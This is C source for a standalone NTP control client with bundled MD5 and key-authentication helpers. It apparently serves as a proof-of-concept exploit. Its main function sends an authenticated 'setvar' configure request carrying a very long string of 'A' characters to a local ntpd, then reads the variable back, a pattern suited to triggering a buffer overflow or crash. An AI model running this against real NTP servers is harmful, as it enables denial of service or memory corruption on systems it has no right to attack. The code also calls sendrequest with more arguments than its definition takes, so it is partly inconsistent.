MD5STEP(F1, d, a, b, c, in[13] + 0xfd987193, 12);
MD5STEP(F1, c, d, a, b, in[14] + 0xa679438e, 17);
MD5STEP(F1, b, c, d, a, in[15] + 0x49b40821, 22);
MD5STEP(F2, a, b, c, d, in[1] + 0xf61e2562, 5);
MD5STEP(F2, d, a, b, c, in[6] + 0xc040b340, 9);
MD5STEP(F2, c, d, a, b, in[11] + 0x265e5a51, 14);
MD5STEP(F2, b, c, d, a, in[0] + 0xe9b6c7aa, 20);
MD5STEP(F2, a, b, c, d, in[5] + 0xd62f105d, 5);
MD5STEP(F2, d, a, b, c, in[10] + 0x02441453, 9);
MD5STEP(F2, c, d, a, b, in[15] + 0xd8a1e681, 14);
MD5STEP(F2, b, c, d, a, in[4] + 0xe7d3fbc8, 20);
MD5STEP(F2, a, b, c, d, in[9] + 0x21e1cde6, 5);
MD5STEP(F2, d, a, b, c, in[14] + 0xc33707d6, 9);
MD5STEP(F2, c, d, a, b, in[3] + 0xf4d50d87, 14);
MD5STEP(F2, b, c, d, a, in[8] + 0x455a14ed, 20);
MD5STEP(F2, a, b, c, d, in[13] + 0xa9e3e905, 5);
MD5STEP(F2, d, a, b, c, in[2] + 0xfcefa3f8, 9);
MD5STEP(F2, c, d, a, b, in[7] + 0x676f02d9, 14);
MD5STEP(F2, b, c, d, a, in[12] + 0x8d2a4c8a, 20);
MD5STEP(F3, a, b, c, d, in[5] + 0xfffa3942, 4);
MD5STEP(F3, d, a, b, c, in[8] + 0x8771f681, 11);
MD5STEP(F3, c, d, a, b, in[11] + 0x6d9d6122, 16);
MD5STEP(F3, b, c, d, a, in[14] + 0xfde5380c, 23);
MD5STEP(F3, a, b, c, d, in[1] + 0xa4beea44, 4);
MD5STEP(F3, d, a, b, c, in[4] + 0x4bdecfa9, 11);
MD5STEP(F3, c, d, a, b, in[7] + 0xf6bb4b60, 16);
MD5STEP(F3, b, c, d, a, in[10] + 0xbebfbc70, 23);
MD5STEP(F3, a, b, c, d, in[13] + 0x289b7ec6, 4);
MD5STEP(F3, d, a, b, c, in[0] + 0xeaa127fa, 11);
MD5STEP(F3, c, d, a, b, in[3] + 0xd4ef3085, 16);
MD5STEP(F3, b, c, d, a, in[6] + 0x04881d05, 23);
MD5STEP(F3, a, b, c, d, in[9] + 0xd9d4d039, 4);
MD5STEP(F3, d, a, b, c, in[12] + 0xe6db99e5, 11);
MD5STEP(F3, c, d, a, b, in[15] + 0x1fa27cf8, 16);
MD5STEP(F3, b, c, d, a, in[2] + 0xc4ac5665, 23);
MD5STEP(F4, a, b, c, d, in[0] + 0xf4292244, 6);
MD5STEP(F4, d, a, b, c, in[7] + 0x432aff97, 10);
MD5STEP(F4, c, d, a, b, in[14] + 0xab9423a7, 15);
MD5STEP(F4, b, c, d, a, in[5] + 0xfc93a039, 21);
MD5STEP(F4, a, b, c, d, in[12] + 0x655b59c3, 6);
MD5STEP(F4, d, a, b, c, in[3] + 0x8f0ccc92, 10);
MD5STEP(F4, c, d, a, b, in[10] + 0xffeff47d, 15);
MD5STEP(F4, b, c, d, a, in[1] + 0x85845dd1, 21);
MD5STEP(F4, a, b, c, d, in[8] + 0x6fa87e4f, 6);
MD5STEP(F4, d, a, b, c, in[15] + 0xfe2ce6e0, 10);
MD5STEP(F4, c, d, a, b, in[6] + 0xa3014314, 15);
MD5STEP(F4, b, c, d, a, in[13] + 0x4e0811a1, 21);
MD5STEP(F4, a, b, c, d, in[4] + 0xf7537e82, 6);
MD5STEP(F4, d, a, b, c, in[11] + 0xbd3af235, 10);
MD5STEP(F4, c, d, a, b, in[2] + 0x2ad7d2bb, 15);
MD5STEP(F4, b, c, d, a, in[9] + 0xeb86d391, 21);
buf[0] += a;
buf[1] += b;
buf[2] += c;
buf[3] += d;
}
void
byteSwap(uint32_t *buf, unsigned words)
{
unsigned char *p = (unsigned char *)buf;
do {
*buf++ = (uint32_t)((unsigned)p[3] << 8 | p[2]) << 16 |
((unsigned)p[1] << 8 | p[0]);
p += 4;
} while (--words);
}
/*!
* Final wrapup - pad to 64-byte boundary with the bit pattern
* 1 0* (64-bit count of bits processed, MSB-first)
*/
void
isc_md5_final(isc_md5_t *ctx, unsigned char *digest) {
int count = ctx->bytes[0] & 0x3f; /* Number of bytes in ctx->in */
unsigned char *p = (unsigned char *)ctx->in + count;
/* Set the first char of padding to 0x80. There is always room. */
*p++ = 0x80;
/* Bytes of padding needed to make 56 bytes (-8..55) */
count = 56 - 1 - count;
if (count < 0) { /* Padding forces an extra block */
memset(p, 0, count + 8);
byteSwap(ctx->in, 16);
transform(ctx->buf, ctx->in);
p = (unsigned char *)ctx->in;
count = 56;
}
memset(p, 0, count);
byteSwap(ctx->in, 14);
/* Append length in bits and transform */
ctx->in[14] = ctx->bytes[0] << 3;
ctx->in[15] = ctx->bytes[1] << 3 | ctx->bytes[0] >> 29;
transform(ctx->buf, ctx->in);
byteSwap(ctx->buf, 4);
memcpy(digest, ctx->buf, 16);
memset(ctx, 0, sizeof(isc_md5_t)); /* In case it's sensitive */
}
/*!
* Update context to reflect the concatenation of another buffer full
* of bytes.
*/
void
isc_md5_update(isc_md5_t *ctx, const unsigned char *buf, unsigned int len) {
uint32_t t;
/* Update byte count */
t = ctx->bytes[0];
if ((ctx->bytes[0] = t + len) < t)
ctx->bytes[1]++; /* Carry from low to high */
t = 64 - (t & 0x3f); /* Space available in ctx->in (at least 1) */
if (t > len) {
memcpy((unsigned char *)ctx->in + 64 - t, buf, len);
return;
}
/* First chunk is an odd size */
memcpy((unsigned char *)ctx->in + 64 - t, buf, t);
byteSwap(ctx->in, 16);
transform(ctx->buf, ctx->in);
buf += t;
len -= t;
/* Process data in 64-byte chunks */
while (len >= 64) {
memcpy(ctx->in, buf, 64);
byteSwap(ctx->in, 16);
transform(ctx->buf, ctx->in);
buf += 64;
len -= 64;
}
/* Handle any remaining bytes of data. */
memcpy(ctx->in, buf, len);
}
/*!
* Start MD5 accumulation. Set bit count to 0 and buffer to mysterious
* initialization constants.
*/
void
isc_md5_init(isc_md5_t *ctx) {
ctx->buf[0] = 0x67452301;
ctx->buf[1] = 0xefcdab89;
ctx->buf[2] = 0x98badcfe;
ctx->buf[3] = 0x10325476;
ctx->bytes[0] = 0;
ctx->bytes[1] = 0;
}
/*
* MD5authencrypt - generate message digest
*
* Returns length of MAC including key ID and digest.
*/
int
MD5authencrypt(
int type, /* hash algorithm */
u_char *key, /* key pointer */
uint32_t *pkt, /* packet pointer */
int length /* packet length */
)
{
u_char digest[EVP_MAX_MD_SIZE];
u_int len;
EVP_MD_CTX ctx;
/*
* Compute digest of key concatenated with packet. Note: the
* key type and digest type have been verified when the key
* was creaded.
*/
INIT_SSL();
EVP_DigestInit(&ctx, EVP_get_digestbynid(type));
EVP_DigestUpdate(&ctx, key, (u_int)cache_keylen);
EVP_DigestUpdate(&ctx, (u_char *)pkt, (u_int)length);
EVP_DigestFinal(&ctx, digest, &len);
memmove((u_char *)pkt + length + 4, digest, len);
return (len + 4);
}
/*
* authhavekey - return one and cache the key, if known and trusted.
*/
int
authhavekey(
keyid_t keyno
)
{
struct savekey *sk;
authkeylookups++;
if (keyno == 0 || keyno == cache_keyid)
return (1);
/*
* Seach the bin for the key. If found and the key type
* is zero, somebody marked it trusted without specifying
* a key or key type. In this case consider the key missing.
*/
authkeyuncached++;
sk = key_hash[KEYHASH(keyno)];
while (sk != NULL) {
if (keyno == sk->keyid) {
if (sk->type == 0) {
authkeynotfound++;
return (0);
}
break;
}
sk = sk->next;
}
/*
* If the key is not found, or if it is found but not trusted,
* the key is not considered found.
*/
if (sk == NULL) {
authkeynotfound++;
return (0);
}
if (!(sk->flags & KEY_TRUSTED)) {
authnokey++;
return (0);
}
/*
* The key is found and trusted. Initialize the key cache.
*/
cache_keyid = sk->keyid;
cache_type = sk->type;
cache_flags = sk->flags;
cache_key = sk->k.MD5_key;
cache_keylen = sk->keylen;
return (1);
}
/*
* authencrypt - generate message authenticator
*
* Returns length of authenticator field, zero if key not found.
*/
int
authencrypt(
keyid_t keyno,
uint32_t *pkt,
int length
)
{
/*
* A zero key identifier means the sender has not verified
* the last message was correctly authenticated. The MAC
* consists of a single word with value zero.
*/
authencryptions++;
pkt[length / 4] = htonl(keyno);
if (keyno == 0) {
return (4);
}
if (!authhavekey(keyno))
return (0);
return (MD5authencrypt(cache_type, cache_key, pkt, length));
}
/*
* authtrust - declare a key to be trusted/untrusted
*/
void
authtrust(
keyid_t keyno,
u_long trust
)
{
struct savekey *sk;
/*
* Search bin for key; if it does not exist and is untrusted,
* forget it.
*/
sk = key_hash[KEYHASH(keyno)];
while (sk != 0) {
if (keyno == sk->keyid)
break;
sk = sk->next;
}
if (sk == 0 && !trust)
return;
/*
* There are two conditions remaining. Either it does not
* exist and is to be trusted or it does exist and is or is
* not to be trusted.
*/
if (sk != 0) {
if (cache_keyid == keyno) {
cache_flags = 0;
cache_keyid = 0;
}
/*
* Key exists. If it is to be trusted, say so and
* update its lifetime. If not, return it to the
* free list.
*/
if (trust > 0) {
sk->flags |= KEY_TRUSTED;
if (trust > 1)
sk->lifetime = current_time + trust;
else
sk->lifetime = 0;
return;
}
sk->flags &= ~KEY_TRUSTED; {
struct savekey *skp;
skp = key_hash[KEYHASH(keyno)];
if (skp == sk) {
key_hash[KEYHASH(keyno)] = sk->next;
} else {
while (skp->next != sk)
skp = skp->next;
skp->next = sk->next;
}
authnumkeys--;
sk->next = authfreekeys;
authfreekeys = sk;
authnumfreekeys++;
}
return;
}
/*
* Here there is not key, but the key is to be trusted. There
* seems to be a disconnect here. Here we allocate a new key,
* but do not specify a key type, key or key length.
*/
if (authnumfreekeys == 0)
if (auth_moremem() == 0)
return;
sk = authfreekeys;
authfreekeys = sk->next;
authnumfreekeys--;
sk->keyid = keyno;
sk->type = 0;
sk->keylen = 0;
sk->flags = KEY_TRUSTED;
sk->next = key_hash[KEYHASH(keyno)];
key_hash[KEYHASH(keyno)] = sk;
authnumkeys++;
return;
}
/*
* auth_moremem - get some more free key structures
*/
int
auth_moremem(void)
{
struct savekey *sk;
int i;
sk = (struct savekey *)calloc(MEMINC, sizeof(struct savekey));
if (sk == 0)
return (0);
for (i = MEMINC; i > 0; i--) {
sk->next = authfreekeys;
authfreekeys = sk++;
}
authnumfreekeys += MEMINC;
return (authnumfreekeys);
}
void
MD5auth_setkey(
keyid_t keyno,
int keytype,
const u_char *key,
const int len
)
{
struct savekey *sk;
/*
* See if we already have the key. If so just stick in the
* new value.
*/
sk = key_hash[KEYHASH(keyno)];
while (sk != NULL) {
if (keyno == sk->keyid) {
sk->type = keytype;
sk->keylen = min(len, sizeof(sk->k.MD5_key));
#ifndef DISABLE_BUG1243_FIX
memcpy(sk->k.MD5_key, key, sk->keylen);
#else
strncpy((char *)sk->k.MD5_key, (const char *)key,
sizeof(sk->k.MD5_key));
#endif
if (cache_keyid == keyno) {
cache_flags = 0;
cache_keyid = 0;
}
return;
}
sk = sk->next;
}
/*
* Need to allocate new structure. Do it.
*/
if (0 == authnumfreekeys && !auth_moremem())
return;
sk = authfreekeys;
authfreekeys = sk->next;
authnumfreekeys--;
sk->keyid = keyno;
sk->type = keytype;
sk->flags = 0;
sk->lifetime = 0;
sk->keylen = min(len, sizeof(sk->k.MD5_key));
#ifndef DISABLE_BUG1243_FIX
memcpy(sk->k.MD5_key, key, sk->keylen);
#else
strncpy((char *)sk->k.MD5_key, (const char *)key,
sizeof(sk->k.MD5_key));
#endif
sk->next = key_hash[KEYHASH(keyno)];
key_hash[KEYHASH(keyno)] = sk;
#ifdef DEBUG
if (debug > 1) {
char hex[] = "0123456789abcdef";
int j;
printf("auth_setkey: key %d type %d len %d ", sk->keyid,
sk->type, sk->keylen);
for (j = 0; j < sk->keylen; j++)
printf("%c%c", hex[key[j] >> 4],
hex[key[j] & 0xf]);
printf("\n");
}
#endif
authnumkeys++;
}
/*
* Types of ascii representations for keys. "Standard" means a 64 bit
* hex number in NBS format, i.e. with the low order bit of each byte
* a parity bit. "NTP" means a 64 bit key in NTP format, with the
* high order bit of each byte a parity bit. "Ascii" means a 1-to-8
* character string whose ascii representation is used as the key.
*/
int
authusekey(
keyid_t keyno,
int keytype,
const u_char *str
)
{
const u_char *cp;
int len;
cp = str;
len = strlen((const char *)cp);
if (len == 0)
return 0;
MD5auth_setkey(keyno, keytype, str, (int)strlen((const char *)str));
return 1;
}
/*
* keytype_name returns OpenSSL short name for digest by NID.
*
* Used by ntpq and ntpdc keytype()
*/
const char *
keytype_name(
int nid
)
{
static const char unknown_type[] = "(unknown key type)";
const char *name;
#ifdef OPENSSL
INIT_SSL();
name = OBJ_nid2sn(nid);
if (NULL == name)
name = unknown_type;
#else /* !OPENSSL follows */
if (NID_md5 == nid)
name = "MD5";
else
name = unknown_type;
#endif
return name;
}
/*
* getpass_keytype() -- shared between ntpq and ntpdc, only vaguely
* related to the rest of ssl_init.c.
*/
char *
getpass_keytype(
int keytype
)
{
char pass_prompt[64 + 11 + 1]; /* 11 for " Password: " */
snprintf(pass_prompt, sizeof(pass_prompt),
"%.64s Password: ", keytype_name(keytype));
return getpass(pass_prompt);
}
int
authistrusted(
keyid_t keyno
)
{
struct savekey *sk;
if (keyno == cache_keyid)
return ((cache_flags & KEY_TRUSTED) != 0);
authkeyuncached++;
sk = key_hash[KEYHASH(keyno)];
while (sk != 0) {
if (keyno == sk->keyid)
break;
sk = sk->next;
}
if (sk == 0) {
authkeynotfound++;
return (0);
} else if (!(sk->flags & KEY_TRUSTED)) {
authkeynotfound++;
return (0);
}
return (1);
}
u_long
getkeyid(
const char *keyprompt
)
{
int c;
FILE *fi;
char pbuf[20];
size_t i;
size_t ilim;
#ifndef SYS_WINNT
if ((fi = fdopen(open("/dev/tty", 2), "r")) == NULL)
#else
if ((fi = _fdopen(open("CONIN$", _O_TEXT), "r")) == NULL)
#endif /* SYS_WINNT */
fi = stdin;
else
setbuf(fi, (char *)NULL);
fprintf(stderr, "%s", keyprompt); fflush(stderr);
for (i = 0, ilim = COUNTOF(pbuf) - 1;
i < ilim && (c = getc(fi)) != '\n' && c != EOF;
)
pbuf[i++] = (char)c;
pbuf[i] = '\0';
if (fi != stdin)
fclose(fi);
return (u_long) atoi(pbuf);
}
void
warning(
const char *fmt,
const char *st1,
const char *st2
)
{
(void) fprintf(stderr, "%s: ", progname);
(void) fprintf(stderr, fmt, st1, st2);
(void) fprintf(stderr, ": ");
perror("");
}
int
sendpkt(
void * xdata,
size_t xdatalen
)
{
if (debug >= 3)
printf("Sending %lu octets\n", (u_long)xdatalen);
sendto(sockfd,xdata,(size_t)xdatalen, 0,(struct sockaddr *)&serverAddr,addr_size);
if (debug >= 4) {
int first = 8;
char *cdata = xdata;
printf("Packet data:\n");
while (xdatalen-- > 0) {
if (first-- == 0) {
printf("\n");
first = 7;
}
printf(" %02x", *cdata++ & 0xff);
}
printf("\n");
}
return 0;
}
void error(char *msg)
{
perror(msg);
exit(0);
}
int main(int argc, char *argv[])
{
char *cfgcmd;
u_short rstatus;
int rsize;
const char *rdata;
char *resp;
int res;
int col;
int i;
int portNum, nBytes;
char buffer[1024];
/*Create UDP socket*/
sockfd = socket(PF_INET, SOCK_DGRAM, 0);
/*Configure settings in address struct*/
serverAddr.sin_family = AF_INET;
serverAddr.sin_port = htons(123);
serverAddr.sin_addr.s_addr = inet_addr("127.0.0.1");
memset(serverAddr.sin_zero, '\0', sizeof serverAddr.sin_zero);
/*Initialize size variable to be used later on*/
addr_size = sizeof serverAddr;
cfgcmd = "setvar A = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
res = sendrequest(CTL_OP_CONFIGURE, 0, 1, strlen(cfgcmd), cfgcmd,
&rstatus, &rsize, &rdata);
sleep(5);
cfgcmd = "A";
res = sendrequest(CTL_OP_READVAR, 0, 1, strlen(cfgcmd), cfgcmd,
&rstatus, &rsize, &rdata);
}
/*
* sendrequest - format and send a request packet
*/
int
sendrequest(
int opcode,
int associd,
int auth,
int qsize,
char *qdata
)
{
struct ntp_control qpkt;
int pktsize;
u_long key_id;
char * pass;
int maclen;
/*
* Check to make sure the data will fit in one packet
*/
if (qsize > CTL_MAX_DATA_LEN) {
fprintf(stderr,
"***Internal error! qsize (%d) too large\n",
qsize);
return 1;
}
/*
* Fill in the packet
*/
qpkt.li_vn_mode = PKT_LI_VN_MODE(0, pktversion, MODE_CONTROL);
qpkt.r_m_e_op = (u_char)(opcode & CTL_OP_MASK);
qpkt.sequence = htons(sequence);
qpkt.status = 0;
qpkt.associd = htons((u_short)associd);
qpkt.offset = 0;
qpkt.count = htons((u_short)qsize);
pktsize = CTL_HEADER_LEN;
/*
* If we have data, copy and pad it out to a 32-bit boundary.
*/
if (qsize > 0) {
memcpy(qpkt.data, qdata, (size_t)qsize);
pktsize += qsize;
while (pktsize & (sizeof(uint32_t) - 1)) {
qpkt.data[qsize++] = 0;
pktsize++;
}
}
/*
* If it isn't authenticated we can just send it. Otherwise
* we're going to have to think about it a little.
*/
if (!auth && !always_auth) {
return sendpkt(&qpkt, pktsize);
}
/*
* Pad out packet to a multiple of 8 octets to be sure
* receiver can handle it.
*/
while (pktsize & 7) {
qpkt.data[qsize++] = 0;
pktsize++;
}
/*
* Get the keyid and the password if we don't have one.
*/
if (info_auth_keyid == 0) {
key_id = getkeyid("Keyid: ");
if (key_id == 0 || key_id > NTP_MAXKEY) {
fprintf(stderr,
"Invalid key identifier\n");
return 1;
}
info_auth_keyid = key_id;
}
if (!authistrusted(info_auth_keyid)) {
pass = getpass_keytype(info_auth_keytype);
if ('\0' == pass[0]) {
fprintf(stderr, "Invalid password\n");
return 1;
}
authusekey(info_auth_keyid, info_auth_keytype,
(u_char *)pass);
authtrust(info_auth_keyid, 1);
}
/*
* Do the encryption.
*/
maclen = authencrypt(info_auth_keyid, (void *)&qpkt, pktsize);
if (!maclen) {
fprintf(stderr, "Key not found\n");
return 1;
} else if ((size_t)maclen != (info_auth_hashlen + sizeof(keyid_t))) {
fprintf(stderr,
"%d octet MAC, %lu expected with %lu octet digest\n",
maclen, (u_long)(info_auth_hashlen + sizeof(keyid_t)),
(u_long)info_auth_hashlen);
return 1;
}
return sendpkt((char *)&qpkt, pktsize + maclen);
}
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